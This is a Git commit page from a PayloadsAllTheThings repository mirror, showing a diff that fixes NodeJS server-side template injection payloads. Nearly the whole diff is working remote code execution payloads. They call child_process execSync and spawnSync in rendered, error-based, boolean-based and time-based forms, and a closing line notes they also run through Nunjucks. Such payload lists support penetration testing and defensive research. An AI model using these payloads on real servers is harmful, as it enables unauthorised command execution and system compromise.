admin/PayloadsAllTHINGS
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

SSTI:

Browse Source 
- Fixed NodeJS payloads
This commit is contained in:
vladko312
2026-01-03 23:19:26 +03:00
parent 09a5f07345
commit bec6524774
1 changed files with 4 additions and 4 deletions
Download Patch File Download Diff File Expand all files Collapse all files

8
Server Side Template Injection/JavaScript.md
View File

@@ -41,17 +41,17 @@ To use these payloads, wrap them in the appropriate tag.
```javascript
// Rendered RCE
global.process.mainModule.require("child_process").execSync("id")
global.process.mainModule.require("child_process").execSync("id").toString()
// Error-Based RCE
global.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id"))
""["x"][global.process.mainModule.require("child_process").execSync("id")]
global.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id").toString())
""["x"][global.process.mainModule.require("child_process").execSync("id").toString()]
// Boolean-Based RCE
[""][0 + !(global.process.mainModule.require("child_process").spawnSync("id", options={shell:true}).status===0)]["length"]
// Time-Based RCE
global.process.mainModule.require("child_process").execSync("id && sleep 5")
global.process.mainModule.require("child_process").execSync("id && sleep 5").toString()
```
NunjucksJS is also capable of executing these payloads using `{{range.constructor(' ... ')()}}`.